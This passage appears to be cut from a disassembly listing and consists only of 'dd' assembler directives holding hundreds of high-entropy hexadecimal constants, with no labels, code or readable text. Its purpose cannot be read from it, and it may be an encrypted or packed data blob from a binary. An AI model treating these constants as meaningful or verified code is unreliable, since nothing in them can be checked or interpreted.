		dd 9F1DD130h, 0A36884FBh, 0D4EC4EEBh, 4B32C380h, 882F127Ch
		dd 8724296Eh, 8980FFC3h, 0D9B9BCh, 0A833CEBAh, 2E8D2608h
		dd 98B440C0h, 93FA78C2h, 0AC260694h, 0B300B0A4h, 3669542Bh
		dd 9AC80C58h, 8EBC30A8h, 4F2604D8h, 0BEA06D00h,	0DEAA966Fh
		dd 70A102B4h, 5ABBADD5h, 62E9AC40h, 9DA0B48h, 0F90E9525h
		dd 1EA12858h, 2DE51E7Bh, 65C2A093h, 70A51876h, 52ECBEE8h
		dd 0CCF36C62h, 0A7239F06h, 827A0210h, 1932A03Eh, 7A697702h
		dd 5C70E788h, 17E913CFh, 151F0DB0h, 0AA0CC90h, 55302460h
		dd 0FC9FF91Ch, 0D49A6Dh, 0DD05801Ah, 1E5C4BADh,	9074C824h
		dd 0CF859A02h, 0C45697h, 7819F0C7h, 882D307Dh, 42C48436h
		dd 989824AEh, 3A339F04h, 8595602Ch, 9D7F6C02h, 2A74F810h
		dd 7A88C5A9h, 0B790809Bh, 0B513FFE2h, 64E82836h, 6E054B38h
		dd 0EAA7A977h, 4A193066h, 17E88413h, 2FECF01Ch,	24304005h
		dd 0E4B885F8h, 7B8853h,	0F664E58Eh, 487B933Dh, 84118D69h
		dd 0BD037DDCh, 18C1FCA1h, 293889BEh, 726864ECh,	1E7F0828h
		dd 9C03FFA5h, 21B7985h,	8160D20h, 815DB988h, 570C24B0h
		dd 49107838h, 38ED2692h, 18A34400h, 6E2562Fh, 1C94918Bh
		dd 0AC801030h, 0FA321E06h, 0A29660EBh, 0F63526B0h, 42171EF8h
		dd 5882961h, 0EF279469h, 0E518FDA0h, 0E0532527h, 0F02D38h
		dd 0A1CDB10Eh, 91880BDDh, 5F307E62h, 0ABE46925h, 90896AD4h
		dd 0D8124F88h, 3086EAD0h, 0A391931Ch, 43741BD0h, 34E81612h
		dd 0B0EC3C00h, 164F9A4h, 0C3BF2096h, 3039A1B3h,	0DB2847D0h
		dd 0B901D498h, 0F0D9C875h, 0B7B6C9Fh, 0B0E1DC64h, 2A7BE143h
		dd 51C338C8h, 8838B68Eh, 9F41BCC8h, 54658069h, 0EB7D10FEh
		dd 0C4BC1674h, 0CBB31242h, 1C8CA1D0h, 4B3C872Eh, 29A3C881h
		dd 0A8E18925h, 416076B1h, 2D849FFFh, 0D87058D0h, 44483E8h
		dd 9C1E514Fh, 52948858h, 2700D892h, 73D6222h, 99BDECh
		dd 0CC1FA186h, 0AA28967Bh, 0FA89BB00h, 0B54F0680h, 0DE323E11h
		dd 3A01606h, 0C40CB8CEh, 70A99E25h, 1D8D0BC5h, 0A0181E47h
		dd 0E2023CB1h, 8802DE6Ah, 2500740Ah, 0D3F5A4A2h, 9237FCC8h
		dd 0B978C0F0h, 9F24909Fh, 688460BDh, 13881122h,	0A8160F5Fh
		dd 1F260400h, 7D85D1h, 0E2AB8A99h, 7325C37Bh, 0B440174Bh
		dd 0A8065F01h, 0E4E697C7h, 9C13CB72h, 0CC9C2802h, 11F900C2h
		dd 65CE69CCh, 0B8301D9Eh, 0B9BB20F7h, 27DD245Dh, 4E093984h
		dd 0B4426585h, 18F1684Ah, 7B339480h, 0BA61B231h, 50251784h
		dd 20CA26Ah, 98D6B88Ch,	0A5706007h, 881095A8h, 247D56A7h
		dd 0FD303664h, 0CB12B084h, 94D2DCF0h, 0E056C964h, 0A4B3920Eh
		dd 0A0C1F105h, 0E400B76Dh, 0E5EAD002h, 7908FC69h, 15A24768h
		dd 424C5323h, 3925AFCCh, 0D8FD6070h, 85158FAEh,	50A4B478h
		dd 4016134Ch, 0C169C0Dh, 0D0B0F474h, 5FA01018h,	44C325A3h
		dd 6BD107D4h, 40E90DFAh, 80C8C011h, 583A3573h, 0A2560F88h
		dd 536C8045h, 0C46D1633h, 0E32D31h, 9870BEF0h, 0C7F50999h
		dd 2303A19Ah, 2878E465h, 5418817Ch, 64107D5Ah, 0A38900BDh
		dd 0AC0BD96Ah, 1300C336h, 5B564BA6h, 26D119Eh, 2865525Ah
		dd 0BA016BD6h, 78872510h, 4871FDECh, 8FF5F603h,	6F43C794h
		dd 9C04E4A0h, 298859A8h, 0E1125841h, 3DFA2880h,	2E116C03h
		dd 1871C13Ch, 0F01033CBh, 9A7000BDh, 4324F579h,	0B70056CAh
		dd 6E023692h, 52ECD7h, 7788802Dh, 0D84ED2A0h, 4014B44Ch
		dd 35F85A54h, 90772B09h, 523680D5h, 1DC03E16h, 0FC6FF82Dh
		dd 7F95037Bh, 0BD57FAD6h
		dd 20253828h, 0FB182EF4h, 26903E7Eh, 7C1DE860h,	9C3900B6h
		dd 0DB53F478h, 6A00D0CDh, 2BD552D1h, 1916FF7h, 0C6ED1851h
		dd 0C157A772h, 5655C06Ch, 7F10E83Bh, 6A74DBB0h,	0B8790E07h
		dd 0F5C06B07h, 31F98EFCh, 7B104329h, 0FBBC8786h, 41C1F1D4h
		dd 0EDF06AA9h, 486F60BCh, 0EAB853D0h, 1E6280C0h, 7C02EB17h
		dd 6B3D0681h, 28E0C455h, 6E542608h, 5A9007DAh, 0C604FE57h
		dd 49B6C1FCh, 0BC708019h, 0E23ECB38h, 30F390D9h, 63185F5Dh
		dd 0D270ECABh, 7AEF1101h, 0A133B9BFh, 98238080h, 51E917D5h
		dd 0E791ED00h, 0EC5224A6h, 4D8400FFh, 9F6D3B02h, 47404554h
		dd 0E6B83CCEh, 3C068C3Eh, 0F9F7148Fh, 0E0DB7530h, 2528DC1h
		dd 5422747Ch, 6E01884Bh, 0C89027BFh, 37980072h,	0F4F7F324h
		dd 0F9C60CC9h, 0D240BC21h, 85CB881Dh, 142E5100h, 1EC3697h
		dd 0D0EB0FFBh, 0E1372F11h, 0C11081D3h, 9E8B5563h, 0AC2E9440h
		dd 9FE851F9h, 18A88DE0h, 70786D54h, 0D00E7CBh, 8FC339D6h
		dd 1F031320h, 440B6C1Dh, 86FA48D1h, 6D283861h, 0D00080A7h
		dd 0C63DD3FDh, 3135A53h, 9B8F0CF3h, 1230F490h, 4E41584Bh
		dd 28E1F629h, 6084E4F7h, 0B6F54935h, 702AD6ECh,	9642FCD0h
		dd 9044F101h, 0F053C92Ch, 0E09015BBh, 0EE0C2A7Eh, 288D4355h
		dd 316D668Eh, 0FC3CA4EBh, 13558C38h, 55918FBh, 2EC0349Fh
		dd 0CF8404C2h, 185B0DADh, 0C07E79E0h, 0A0282510h, 0C500FD74h
		dd 2BD859D1h, 516FF6h, 9CD5FC60h, 0AC3191D4h, 0DE0E807h
		dd 98A15302h, 80F6EBF4h, 0E2167160h, 48F5488Eh,	62730E10h
		dd 0F0E678h, 0D12A5951h, 0A6A3822Ch, 831520Ah, 3CEFF902h
		dd 804E6Bh, 889014F3h, 0E51D5CECh, 0B37B5318h, 67737858h
		dd 2655300Ah, 567761C9h, 99E28E01h, 2E523711h, 0A00F0840h
		dd 91C30CF4h, 6CB0D530h, 85002374h, 9FC5D490h, 78F5F470h
		dd 0DEB90034h, 0D3D06BFCh, 70C3C008h, 0A7E6F9h,	5891CB38h
		dd 40BDED13h, 0F6DD4E00h, 0B9C9FB6Bh, 0B81C60B3h, 412F90C3h
		dd 0F43B5419h, 9CD16040h, 92515FE0h, 38805070h,	15573B53h
		dd 918EEC0Ch, 1D0AA388h, 80F63B04h, 0F740271Eh,	49B288BCh
		dd 0D7747Bh, 70FDB450h,	2BF61513h, 0D56FF903h, 0E83F49A6h
		dd 9AEF2954h, 4E7C5Ch, 0D21CCEC0h, 0AF635DD7h, 0DF6EC00h
		dd 268AA1Bh, 92010119h,	50E69462h, 6F5DDC86h, 8FBB2D39h
		dd 0E07E2B67h, 5251CD56h, 19810772h, 714307D6h,	30E0873Ah
		dd 5B77912Ah, 48332C00h, 557064D2h, 640658DEh, 12FA360Fh
		dd 40AEDB05h, 132B61D4h, 391EDEABh, 0D8822F5Dh,	48DB0855h
		dd 52924D5Ch, 5304D42Eh, 91F3152Dh, 80D885A0h, 62A66318h
		dd 95EDE6h, 5021348Dh, 0EF3C05ECh, 0D04A6D28h, 2211BE00h
		dd 0C9FEF479h, 6F5B3EF9h, 16501E7Bh, 1538E89h, 0C56B0090h
		dd 0ECDA1F20h, 0ECF03B4h, 0C7575138h, 9916C4C0h, 5426E490h
		dd 768358AAh, 20CACB95h, 0F56FC590h, 284320A0h,	7955E26h
		dd 0C6188F24h, 0C8818E23h, 0D011E544h, 0F91272F4h, 60002FA8h
		dd 91E9A199h, 42D100A7h, 0EC4F3D16h, 0B301714Bh, 38B0D4DCh
		dd 88258B0Eh, 37B90C20h, 9510233Ch, 0C054809Bh,	261A5299h
		dd 82181528h, 0AE2DF58h, 463F001Ch, 3A7029CCh, 0B55BC200h
		dd 16F6A53Dh, 0D7552613h, 296C0BFEh, 3BC10400h,	88F84652h
		dd 6B104A01h, 5FAD542Dh, 1030E825h, 91746465h, 0A220042Ch
		dd 1805C209h, 0D1DC40D3h, 4F37068h, 3F3A8F7Fh, 55AC060Dh
		dd 2584031h, 88D5EC16h,	0A841DDD4h, 0A8F0FFC5h,	0D31EEBD6h
		dd 6544E48Bh, 0F0C4BB6Dh, 28550813h, 4E819DE4h,	74755516h
		dd 3A2E3024h, 0A1018DCFh, 25BA5711h, 24A0808Eh,	0C05482DBh
		dd 38672CF9h, 2755C2CCh, 0C0D4F703h, 0A82FDB78h, 2519910h
		dd 0DCE42321h, 6C607C97h, 8880E92Ah, 57370BD6h,	0C40023E0h
		dd 2D41A00Eh, 346F5C04h, 68C894EDh, 38544CEBh, 2F607701h
		dd 827CEC2Bh, 0E257610h, 0D1080DAh, 201AFE32h, 7CF85C94h
		dd 0BD070CA4h, 0CE578CAh, 34886D64h, 34D70351h,	0D3BADD70h
		dd 0BB5881C4h, 33920040h, 4B8C007Dh, 0FCEECDE0h, 7F585970h
		dd 0FC2A2810h, 0BA904499h, 0F41224C8h, 8BFC3C44h, 932F9140h
		dd 0ED0076E2h, 0D24B5C9Bh, 0F1773EC7h, 0F0355AF0h, 6C493E01h
		dd 9C16F93Ch, 551870A0h, 3C900437h, 5C315124h, 0D5329340h
		dd 0E871C4F1h, 0E1C700A9h, 71C02857h, 0F6261378h, 8FB8044Ch
		dd 828B094Bh, 7A39720h,	2C14F090h, 600073B2h, 1176D31Ch
		dd 9AC07755h, 152F0428h, 0D7C648D4h, 0C134D338h, 559A30A0h
		dd 0E48ABA26h, 6F8728Fh, 4D2888ABh, 0C48C836h, 90995840h
		dd 0F1F32EC0h, 62DC2C1Ch, 9800B4A6h, 6001BA33h,	0DF2187Bh
		dd 622438C7h, 0B0A0A090h, 0FF002374h, 0EC6CEF4h, 481E393Ah
		dd 21CEB04Eh, 9FF40180h, 697A98C4h, 24456A3Eh, 0CB24FC2Ah
		dd 4C483014h, 18C52D4h,	0C8349757h, 59F140C6h, 0CF87820h
		dd 0A4A2B9C5h, 9B2BBE30h, 0C297CC80h, 0F2D0CC1Eh, 811A7812h
		dd 74CC5558h, 0C2008820h, 29350B47h, 126FA366h,	2C3241CFh
		dd 23C6B78h, 0D4F32455h, 517518Fh, 0C430E7F6h, 0A4C824C1h
		dd 6851545Ch, 94985897h, 0FA810396h, 9072552Bh,	148F451Dh
		dd 105DEBCCh, 0FA510C5Ah, 0BE48CC48h, 0E9198A00h, 0E56C0522h
		dd 0FC2D3055h, 1942860h, 975BCA14h, 1CF1C358h, 0E08FE390h
		dd 988EF53Eh, 0A4503558h, 71B04099h, 0D1894792h, 0B910BE61h
		dd 1870FAE4h, 0C7EF3C6Ch, 4073CE12h, 0F0D206F8h, 95068B49h
		dd 62D454C3h, 7821E6D8h, 58883163h, 226ECB10h, 0B99500C0h
		dd 54087626h, 1884619Dh, 80293311h, 2BBFED60h, 0C40451Ch
		dd 0F2BBF9C6h, 2029C738h, 0B02C9C23h, 65291Fh, 0D2D39C24h
		dd 0F99B0CCFh, 0C130A30Dh, 2DCAB910h, 69D1EA01h, 9246F2BAh
		dd 0F001C410h, 706DC515h, 361AC70h, 0F96F65C7h,	4050BBD7h
		dd 1D401624h, 55640A17h, 0FC4652Bh, 0C403BB7Eh,	0EC76ED5h
		dd 38BCE903h, 0C5010A1Dh, 0FFDF4CC7h, 59545110h, 21BE0056h
		dd 810A041Bh, 2C485DC6h, 0F84638C1h, 477CEE0Bh,	5380F58Eh
		dd 4E9835Eh, 0D56308E4h, 0C6C78144h, 3068E05Ch,	890A1EB5h
		dd 74FE243Ch, 8F5FFCE7h, 0E95CE0E7h, 38DC8C31h,	488AEC83h
		dd 87198AA3h, 4C5BE6BFh, 1201C77Ah, 0E971E25Ch,	65806034h
		dd 895159EBh, 0C15081E1h, 2520E93Dh, 43CEC009h,	0C158A257h
		dd 1807E63Fh, 0B674D38Dh, 0D6F61EB0h, 0F288C51h, 0C73C8330h
		dd 1C627B02h, 3E7C110h,	99382DE6h, 0C083B624h, 0A7933B0h
		dd 53D0C439h, 8007CDB7h, 0CFFE14EFh, 0F694405Eh, 0A1EC81D7h
		dd 3E80894Fh, 0E4C04CB4h, 0CC64FE03h, 0C8191562h, 80681002h
		dd 0C35CA23h, 0E8B66A1h, 560E978h, 2DD8291Eh, 2F590FD9h
		dd 19605B27h, 5E687B17h, 53B1E91Bh, 7987E326h, 0A4E4E47Ah
		dd 510144D7h, 301F65B8h, 0E90126D9h, 2322D031h,	71BDCFD1h
		dd 0FE62C4A8h, 85F48FEh, 65010D0Ch, 0A2A88E6Ch,	24002C89h
		dd 0FA153FBDh, 0AEE291Ah, 60BA525Dh, 8131009Eh,	45329DC2h
		dd 13E9590Ch, 77213866h, 0C179F2D9h, 815AD647h,	40F28744h
		dd 135E31Dh, 6C14815Fh,	8B5E830Ch, 0C443ED1Ch, 0F7155E9h
		dd 258A2D46h, 148B42E2h, 0C06E108Eh, 40A8506Ah,	0E15EE958h
		dd 0D8528AA1h, 0CDCDDD5h, 724CD81Fh, 62C10EEBh,	82C45CE8h
		dd 67209990h, 541E0A28h, 0B2698702h, 324C0118h,	0FF590C01h
		dd 0B3C24134h, 50469883h
		dd 2383D48h, 0C8897A41h, 0CB902D59h, 7FC0B7E9h,	0E01260BDh
		dd 0D5F73206h, 81005D40h, 7865FBEDh, 0BF014CE6h, 77B3573Fh
		dd 10E0685Fh, 0E2A26B72h, 0D1F78010h, 9BBF570Eh, 810F4036h
		dd 502AD4CFh, 0FC7EA90h, 3D2E499Eh, 213CE780h, 18C07384h
		dd 13742D03h, 5FF90331h, 0F2E9CB89h, 89B589D4h,	2A3078h
		dd 0B560D00Ch, 0F0293EC1h, 5706B414h, 8F4E4001h, 24F5010Ah
		dd 4803EBEh, 74C3E080h,	0C3C9E658h, 28B7EB08h, 66EA12D6h
		dd 1FB25219h, 0D3C18E18h, 5A815F07h, 0D6C0B60Fh, 0F968F4A1h
		dd 8A24257Bh, 0EAC8E910h, 71F38180h, 0F605AD38h, 264D6569h
		dd 91902466h, 4384344h,	52BDD75Fh, 69E5579Eh, 309B0934h
		dd 99BB533Fh, 0D4899545h, 88248B18h, 8A94FE5h, 9C5A9FD2h
		dd 0A0CF3039h, 0F0F9015Bh, 28126523h, 0E49206ADh, 55001EF6h
		dd 0CA2F0DBDh, 9E5C13Ch, 1ED8308h, 0F5810A00h, 41F02A72h
		dd 0E906ECFDh, 0AB7D8033h, 63F192C6h, 93F3377Fh, 9C04D9EDh
		dd 46DA8687h, 935B0BC0h, 930C305h, 0C5899D47h, 8D769207h
		dd 2248F43Ch, 5B657D09h, 0F15E8656h, 5897889Eh,	32BD3568h
		dd 0EE774479h, 115F1A62h, 0F146486h, 0D904EAEBh, 0F613901Dh
		dd 0BB0CE84Ah, 59F2313Ch, 419B5Eh, 95AD021h, 84150FC0h
		dd 7D85478h, 0D7E91C77h, 526A211Bh, 0F5C8FE88h,	9828EA5Ah
		dd 0EE482439h, 0A4CF8006h, 0F76CB26Eh, 0DF3DD772h, 4509F64Fh
		dd 80750D6Ah, 3B5E5085h, 57F2A00Bh, 2D4F2A6Bh, 0A64D55D2h
		dd 2EDBF11h, 0A10A7130h, 0E5E408BFh, 2E141920h,	0D91C1E68h
		dd 20BB6126h, 0C6488388h, 0D8DB1A35h, 5A61C08Ch, 4CE148C1h
		dd 16D4F61Ah, 0EA4C5844h, 0DA655422h, 0E2AE1B54h, 0E69AEFEEh
		dd 0B8505300h, 7539728Fh, 3357E48h, 0D0F126Bh, 7893279Ah
		dd 3DFE1601h, 81507ABBh, 20A5AB40h, 0E92115CBh,	8706C798h
		dd 8D6F7F3h, 779BC15Ch,	8781DB3Ah, 52924591h, 0E849C363h
		dd 3F31D4A7h, 0CE825BDEh, 60EF3FA4h, 0D9B0FF41h, 42D660FFh
		dd 0D0258C41h, 9131ADE0h, 0C0A2A480h, 3BE9C829h, 0FAF8E4Dh
		dd 2B01B450h, 7E23AA35h, 0BF406102h, 0AAE8078h,	90275F50h
		dd 0F7030A84h, 0B44DDDh, 0CFD684F3h, 0DFA1EB89h, 6270A652h
		dd 0DD225159h, 0BB940690h, 5E526914h, 3622D84h,	0C147DF87h
		dd 10821AFBh, 66F1F65Ch, 0E6604262h, 62825430h,	7E4C6C69h
		dd 68070AC1h, 0B7E1377Ch, 0F84559h, 2013BEE2h, 534C5B51h
		dd 121B02D0h, 404732E3h, 30E9554Dh, 0EEAB0B7Ch,	2F1768AEh
		dd 0D4004E37h, 0F058E8A9h, 98F74831h, 1923F8F3h, 36B265Fh
		dd 0F32EE910h, 480E8442h, 284499Bh, 0F6106BB8h,	0C1D98056h
		dd 2A76B761h, 9194E9h, 757AFBBAh, 0DE28155h, 2858B3ECh
		dd 0D15400F4h, 8BE92327h, 0BB1399FEh, 0A5180DCDh, 0C2D14F2h
		dd 23E72005h, 0BC82F75Dh, 0BEAFA0BBh, 606C528Ah, 0D1F2E868h
		dd 0C112E4ADh, 540908EEh, 0E2A30646h, 73E304BFh, 8072AB42h
		dd 0AA406059h, 7BE92013h, 0EE83A844h, 0E585A686h, 0E9C8E8CEh
		dd 49EDC21Ah, 0E360D9F7h, 4A2C13B5h, 14011A34h,	29CB64C0h
		dd 0CAD260FAh, 8C99159h, 5148079h, 3156969Dh, 2D5CB840h
		dd 53742C73h, 0D386CD47h, 1E417EE0h, 2CC85C92h,	0ECB05257h
		dd 3F753020h, 0A6CC515Fh, 4995653Eh, 1250A83Bh,	4F63ED62h
		dd 3102A78h, 0CC6A28E7h, 68660E93h, 5E963138h, 96852E8Fh
		dd 53A02002h, 154AE268h, 2C817A22h, 0E9155B8Fh,	38BAF0DDh
		dd 513C02EBh, 4ADA8908h, 6D64579h, 0E400BE9h, 0BB010D84h
		dd 75737924h, 718CA8E9h, 0F560DE09h, 0C768EAA8h, 541A4B65h
		dd 18731C3h, 7B65E347h,	7CC14EF9h, 6CC303C6h, 0F8FD69F5h
		dd 230D0C5h, 0DD014B1Fh, 33E97FE9h, 6490D95Dh, 0D4C93158h
		dd 5B476833h, 0B78982F6h, 36C90E80h, 0C1017B59h, 535704EFh
		dd 0C78732E9h, 34D3F766h, 6B5AC743h, 54C6DE2Eh,	0F2810CECh
		dd 0B63209C6h, 0A2B9C940h, 0E769400Bh, 7CE02C01h, 3A6602DFh
		dd 66623072h, 0E9076B40h, 2C3BD034h, 0C012EF83h, 7D29C666h
		dd 529725C3h, 0CA8F3E91h, 665D6944h, 0DD680B59h, 0E955B011h
		dd 12656F03h, 0A20DFAC4h, 8B747ED8h, 963F5599h,	0E13052D4h
		dd 266484BEh, 23D735Dh,	491C70D9h, 0F3AFD4C0h, 0E72A402Eh
		dd 0BE565E04h, 20E95FB4h, 87416716h, 9B309321h,	79CE59B3h
		dd 91D4E528h, 96ED90BFh, 915C1449h, 19942691h, 0DE3CD266h
		dd 922CD5ACh, 76844757h, 61B953Ch, 2F7BBCC2h, 0AC35D981h
		dd 2C1F0E0Fh, 9CAE7C8h,	3A8484BBh, 4F08029h, 7206366Dh
		dd 0E35FE94Bh, 0C0B1B222h, 0F7BF5BA5h, 0E292EB01h, 3E515D46h
		dd 25877C03h, 2A235CB4h, 962E5453h, 99A63B77h, 40159CACh
		dd 9B334BB2h, 870C1A83h, 40E5443Ch, 0B1424E35h,	90E78957h
		dd 64A4E91Eh, 0DC590A2Eh, 2C69FFE4h, 0B954406Bh, 53E23027h
		dd 2074E961h, 0BA409794h, 504E2F63h, 24AE819h, 0E9791C1Dh
		dd 5C0281AFh, 34467152h, 514E8132h, 1E482379h, 9993E821h
		dd 0F001E881h, 5C5E6D95h, 7D9006D0h, 2B56454Bh,	0E0E08D2Eh
		dd 82143Ah, 31E0EEC0h, 3F3749B4h, 0AAD58328h, 0E234841Eh
		dd 92E50112h, 0EC50BE1Bh, 91A485DCh, 3D4C17Fh, 5E44866h
		dd 515EC423h, 25B48ED0h, 5A1533F9h, 0AD030ECAh,	0FFBDE4C2h
		dd 4CEDD9B3h, 928816A1h, 0E9C5605Ah, 2596599Dh,	732F0C4Fh
		dd 5DC37289h, 588010DAh, 0D11EA81h, 121320Dh, 8016EFAh
		dd 0B7521A88h, 309E4555h, 0FA4CE9FBh, 7105ED3h,	9405002Bh
		dd 2978AD2Ch, 208990F0h, 893B4820h, 672899CAh, 6D2CBAC5h
		dd 815AD181h, 6417266Ch, 729938F0h, 1C97F304h, 3872B4E3h
		dd 92585A1Ch, 2928803Dh, 815F4081h, 6E18EF06h, 30C2C08h
		dd 3D7A01DAh, 22E64EE9h, 7136B901h, 0F9311185h,	19F5773h
		dd 0F02159CEh, 2DFE295Eh, 563E0458h, 0D1D8A8C3h, 0AE897E21h
		dd 0EF666DE2h, 55FD53A0h, 7DE1C080h, 88500707h,	47D0F6C8h
		dd 1A5886C1h, 0F7BE0567h, 2F82D722h, 6213020Eh,	0B2C46668h
		dd 0F32F502Bh, 28D73908h, 4B06A467h, 0A6F64420h, 1C8112C8h
		dd 30C086C5h, 0EF890548h, 29FE015Dh, 964447Eh, 228B0141h
		dd 85686330h, 2B276E4Ah, 0D1262082h, 42163C38h,	88063167h
		dd 52E8C9D5h, 0D68E528Dh, 0C1E03012h, 0F73E06EAh, 0A5695DAh
		dd 0F22909EDh, 0B082C65Eh, 723A594Ah, 0E39A7E9Bh, 924DF9C1h
		dd 6514E273h, 4806D1F8h, 3B1C20E5h, 8695CBB7h, 2A414313h
		dd 74633151h, 0A1053595h, 1C29749h, 864958C5h, 0A035BC33h
		dd 895D1507h, 5923ACCDh, 1D2AE904h, 6486609h, 6EBAC7D5h
		dd 1A63C202h, 41295C25h, 842EAC8h, 0FB00505Fh, 27BDA182h
		dd 1F60841Ch, 5E022BCDh, 0EDC122A9h, 34F38003h,	483A7016h
		dd 9003B556h, 0E913D614h, 93A57AA2h, 6914D9DDh,	4441D46Bh
		dd 0D65DC45Ah, 0A75B5A34h, 2AB5E937h, 31AD2480h, 474068D8h
		dd 7000EE9Bh, 57827ECh,	4136002Ch, 51D02957h, 1B0E34B9h
		dd 6BE94CB2h, 0A413A228h, 8956590Bh, 751A1657h,	2EA5B708h
		dd 0A868417Dh, 0C4FE3854h, 0BF144EEBh, 31ED6432h, 96CCD98Fh
		dd 0CA028169h, 6A3903A9h, 56E4404Ah, 3E5A2846h,	0C50558A0h
		dd 66F1A4C0h, 7D25E977h, 79289AEBh, 895605F0h, 0DAC0DDE6h
		dd 5F98FB52h, 4D85E92Ch, 6D805893h, 0E389424Eh,	7B51D92Dh
		dd 0BF02CD2Ch, 67D7367Fh, 10D7CD0h, 0C23359CFh,	810DC9B4h
		dd 22B30F08h, 0C64075F3h
		dd 0F6E60380h, 6603EEC0h, 85417C10h, 0E4E25C26h, 1EEA05EDh
		dd 4E5AB132h, 26D92256h, 6A7A8B44h, 12D6127Ch, 0F359850h
		dd 4F493002h, 4006E9C1h, 0F0973B21h, 1514A5Ah, 3332DEE9h
		dd 0A7A1F575h, 9DA20197h, 0D3C85966h, 46D1C414h, 5CB601CFh
		dd 0F1C14AB1h, 1530F631h, 0E9D90AF6h, 0A1AA7E69h, 4422285Ah
		dd 5FB13C18h, 0DC88EDE5h, 4FE9335Ch, 0BBB33519h, 0C101F4F0h
		dd 3D585858h, 5E031A59h, 0BFAD320h, 0F824C5FBh,	9442B254h
		dd 9E2826B4h, 0DA046369h, 4030E4F2h, 0E6944334h, 0C2D8011Bh
		dd 4BAFA9E5h, 7393C9E6h, 8BA3067Ch, 0D03DDC52h,	96409406h
		dd 2A587E69h, 41B925E9h, 50D298BAh, 31FD324h, 2807CA9h
		dd 0D6F6F186h, 314237E9h, 44A5603Dh, 0FF639BAh,	2B22C85Ah
		dd 0FA5AE455h, 0E64582Ch, 765EB9C1h, 0D92A2035h, 8E9D137h
		dd 0A47D1B32h, 40A42C96h, 2FBA4352h, 10E88B5Fh,	8162D1D7h
		dd 8936385Ch, 0F5270F50h, 0ED8102D7h, 0C31E26E4h, 0A2DED02Ch
		dd 12303A9h, 0FB09E9EEh, 0F01E2670h, 0C49CE04h,	512F9969h
		dd 4C258FE5h, 8D92512Dh, 68365867h, 8C40642Ch, 0DE84E961h
		dd 3A3240A5h, 0FC34E564h, 0C9B2D2E7h, 22F1819Dh, 2225277Ch
		dd 2A0202A7h, 625855F8h, 290702A8h, 0A1FDF2C8h,	322ABC60h
		dd 3868331Bh, 1895033Dh, 3E74E17Eh, 48BB14E7h, 4407355Bh
		dd 12D78078h, 1E874848h, 77C3C55Ch, 0EB039351h,	0E9220FEFh
		dd 2B663AD4h, 5F056F80h, 3998FCA6h, 3E20507Bh, 2466BB7Bh
		dd 84BB106Fh, 5B0CC444h, 6C0B75EAh, 23D17CA3h, 0D8271A5Ah
		dd 1BCB0106h, 0B2C38359h, 0FE0AF1B2h, 31033359h, 0B50D066Ah
		dd 4CF9391Ah, 48D24C49h, 2583038Dh, 0C4CD7D79h,	833780A3h
		dd 7C5BEFB1h, 8300E064h, 47D50E68h, 15E2F2Eh, 74533711h
		dd 55925C63h, 932574BAh, 682B1866h, 0B1615833h,	427A12DEh
		dd 81AE97Bh, 0C4CF24F9h, 45020570h, 8443DDF7h, 0CA6C7C12h
		dd 6A2899A1h, 0D037E9C3h, 87F0EF76h, 85FA0C59h,	0B5CE63FCh
		dd 54B18320h, 0BDD8E90Ch, 1AED9401h, 6C8BD75Dh,	18660C5h
		dd 4C845BDDh, 5DC91802h, 2CD20C30h, 0C33AC9A8h,	0BB71D882h
		dd 1D681813h, 0A7037EBEh, 0C62978D1h, 571A2558h, 6611A848h
		dd 9A5ED93Dh, 0CA30D249h, 4E1671AEh, 6D68A0D0h,	91ECA660h
		dd 8467886Fh, 3270BE02h, 0A42CC101h, 0C10E3C6Ch, 0EF6308E7h
		dd 7F988107h, 76098552h, 18165AE9h, 1FC58021h, 4A5F2C32h
		dd 820D7B36h, 0E2D1C209h, 910F0441h, 0B10241EFh, 59CE28B6h
		dd 800E03E1h, 0B7532506h, 0F6DFF673h, 79C97EC7h, 0FE282CF7h
		dd 5AC0CB69h, 0DA93E830h, 0FC8B5913h, 6267C917h, 0BFB0570Bh
		dd 6458C968h, 43B5D05Ah, 55824AF1h, 0E9EAA159h,	0F9736291h
		dd 55C33D73h, 2D03ADA7h, 2188BE56h, 462E0F27h, 963F6BC1h
		dd 7CC971CDh, 964219E0h, 22C26388h, 438C104Ah, 97EA6168h
		dd 7C81EEE9h, 0D1B1C4E0h, 307864E2h, 0BD10E6D7h, 0D20F95B3h
		dd 86EF31CFh, 3938256Ah, 0D03CFA88h, 200D9B96h,	0F067F97Dh
		dd 0D9297313h, 48084B10h, 1F37207Ch, 803AFCBBh,	0E3C14301h
		dd 0BF005704h, 1813AFCCh, 0E65FFB29h, 9E0B97D8h, 0B84B196Ch
		dd 83319E89h, 381210FEh, 5E0A1A8h, 0C334D3A6h, 0D280C6DBh
		dd 0EACB2881h, 1469EBEBh, 0FD7C3848h, 0ACC1106Ch, 2071237Fh
		dd 80055879h, 0EB018EDCh, 37C8C908h, 0B0CA858Fh, 660758EFh
		dd 3DE1805Ah, 8611F130h, 0D2F636D1h, 67411808h,	72E91630h
		dd 0A765FFFh, 26F93140h, 0F93BF48h, 4DF721A3h, 526600C1h
		dd 0EFB41C50h, 0E22847B2h, 0D4888358h, 0BEE9E190h, 6384D89Ah
		dd 73B18376h, 0FF943121h, 0A61D2230h, 67C625DAh, 0BC6528A4h
		dd 5B55B7BEh, 0F67A2FB6h, 0A30D5813h, 0D1B64DDEh, 1FEDFC93h
		dd 3058F726h, 2CF5B208h, 414F13F2h, 2257BFAEh, 756EA54h
		dd 47487D39h, 0DDAB1CB5h, 0FA01A580h, 0DC14335Fh, 1EDE0CCh
		dd 803C61E9h, 0EDC67C49h, 0CB99046h, 1B4C35Ah, 3ECC097h
		dd 0D480D4F6h, 0E24888F1h, 0B49F5CEDh, 0E50D88Bh, 4C4D9232h
		dd 4F7969B5h, 68930ADBh, 505A0716h, 2FA0D353h, 7BEE9302h
		dd 4101443Ah, 12BB02ECh, 0F3975207h, 0B9C2A89h,	0A416D11Ch
		dd 0BA2F8D9Ah, 0FF199E39h, 0AA64AE9h, 0C01F50F3h, 0E7705581h
		dd 0CB4467D9h, 0D0BDE4F3h, 586DBAA4h, 6FB05571h, 2E1B4413h
		dd 0C454B06h, 0F0BA042Eh, 0B82DA11Eh, 8325020Ch, 412AE768h
		dd 0D9D9F6CDh, 11204771h, 0C156526Ch, 493D649Eh, 0F733A864h
		dd 24F964E9h, 0EDE85085h, 850E290Bh, 0A6A47235h, 7131369h
		dd 845F0902h, 3D598799h, 8E801B1h, 5750C831h, 0C4DDEF44h
		dd 0E9B0023Ch, 0BFC08088h, 1F7F16EAh, 0C939962h, 0C51D3696h
		dd 4C1A380Bh, 112E8A7Eh, 6E763501h, 0D3E54B52h,	0F9C30161h
